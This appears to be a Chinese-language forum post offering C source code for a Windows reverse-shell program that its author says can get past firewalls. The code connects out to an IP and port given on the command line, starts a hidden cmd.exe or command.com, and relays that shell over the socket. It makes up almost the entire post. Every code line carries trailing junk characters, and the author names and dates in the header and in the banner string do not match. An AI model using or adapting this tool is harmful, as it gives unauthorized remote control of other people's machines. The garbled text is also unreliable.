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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ")xd 'V  
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/* ============================== $!q(-+(  
Rebound port in Windows NT lHI ;fR  
By wind,2006/7 '2=$pw  
===============================*/ BK/_hNz  
#include zMI_8lNz  
#include 9o<5Z=  
Rv=rO|&]  
#pragma comment(lib,"wsock32.lib") 7,BULs\g  
?y`we6~\1  
void OutputShell(); S?BI)shmg  
SOCKET sClient; KP*cb6vA  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +J;T= p  
j8[RDiJ  
void main(int argc,char **argv) 4apy{W  
{ Yn+d!w<3:  
WSADATA stWsaData; /t=Fx94  
int nRet; 5S/YVRXq  
SOCKADDR_IN stSaiClient,stSaiServer; ~A-Y%P  
yR'%UpaE  
if(argc != 3) kl+^0i  
{ !=SBeq  
printf("Useage:\n\rRebound DestIP DestPort\n"); *+rWn*L  
return; i[V\RKH*F  
} hwj:$mR  
[PP &}.k4"  
WSAStartup(MAKEWORD(2,2),&stWsaData); vOV$Hle  
Mep ct  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q!!gn1PT(T  
DYej<T'?3  
stSaiClient.sin_family = AF_INET; DGrk}   
stSaiClient.sin_port = htons(0); -Ed<Kl  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); l1#F1q`^t  
}T1.~E  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) FA7q pc  
{ U ,7O{YM  
printf("Bind Socket Failed!\n"); 4Uzx2   
return; 2, R5mL$  
} UVz}"TRq.  
=+ vl+h  
stSaiServer.sin_family = AF_INET; viXt]0  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @Lk!nP  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); SpJIEw  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) jn,_Ncd#  
{ nA4PY]  
printf("Connect Error!"); Tk~Y  
return; TRzL":  
} $z \H*  
OutputShell(); )8@|+'q  
} O+ghw1/  
<4%cKW0  
void OutputShell() ;,7/>Vt  
{ K|V<e[X[V  
char szBuff[1024]; +DwE~l  
SECURITY_ATTRIBUTES stSecurityAttributes; OGWZq(c"6  
OSVERSIONINFO stOsversionInfo; x3tos!Y  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {[:]}m(c  
STARTUPINFO stStartupInfo; F`8B PWUY  
char *szShell; ~`Rb"Zn  
PROCESS_INFORMATION stProcessInformation; Bp9_\4  
unsigned long lBytesRead; %k =c9ll@:  
2|}`?bY]i`  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); f3oGB*5>  
hj+iB,8  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Mv_-JE9#>o  
stSecurityAttributes.lpSecurityDescriptor = 0; oUNuM%g9Dy  
stSecurityAttributes.bInheritHandle = TRUE; Dhze2q)o  
Ra)AQ n  
_/[}PQC6G  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,qu7XFYrY  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); z;Yo76P  
L{F[>^1Sb  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); E E^l w61  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DNu-Ce%  
stStartupInfo.wShowWindow = SW_HIDE; HD!2|b ~@  
stStartupInfo.hStdInput = hReadPipe; 6z2WN|78  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /L^pU-}Z0  
L&LAh&%{2  
GetVersionEx(&stOsversionInfo); _2~+%{/m,  
5lrjM^E|  
switch(stOsversionInfo.dwPlatformId) H63?Erh>a  
{ F1GFn|OA  
case 1: p:?h)'bA<  
szShell = "command.com"; r(OH  
break; .8]buM5_G  
default: . /@C  
szShell = "cmd.exe"; YS0^ !7u  
break; U>0~/o  
} Nf!WqD*je  
VxW>Xx G0  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8{DW$Z tR  
f~ P~%  
send(sClient,szMsg,77,0); 34c+70x7  
while(1) . ytxe!O  
{ S(#v<C,hd  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]Il}ymkIZ  
if(lBytesRead) 8/"R&yAh  
{ WbJ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); JJ4w]Dd4  
send(sClient,szBuff,lBytesRead,0); .Ge`)_e  
} <pIel   
else HyY ol*  
{ /K :H2?J  
lBytesRead=recv(sClient,szBuff,1024,0); >41K>=K  
if(lBytesRead<=0) break; 1TlMB  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); GV8`.3DBOF  
} =<[M$"S7d6  
} r8,'LZIz  
XDyFe'1I  
return; Oh; V%G  
}
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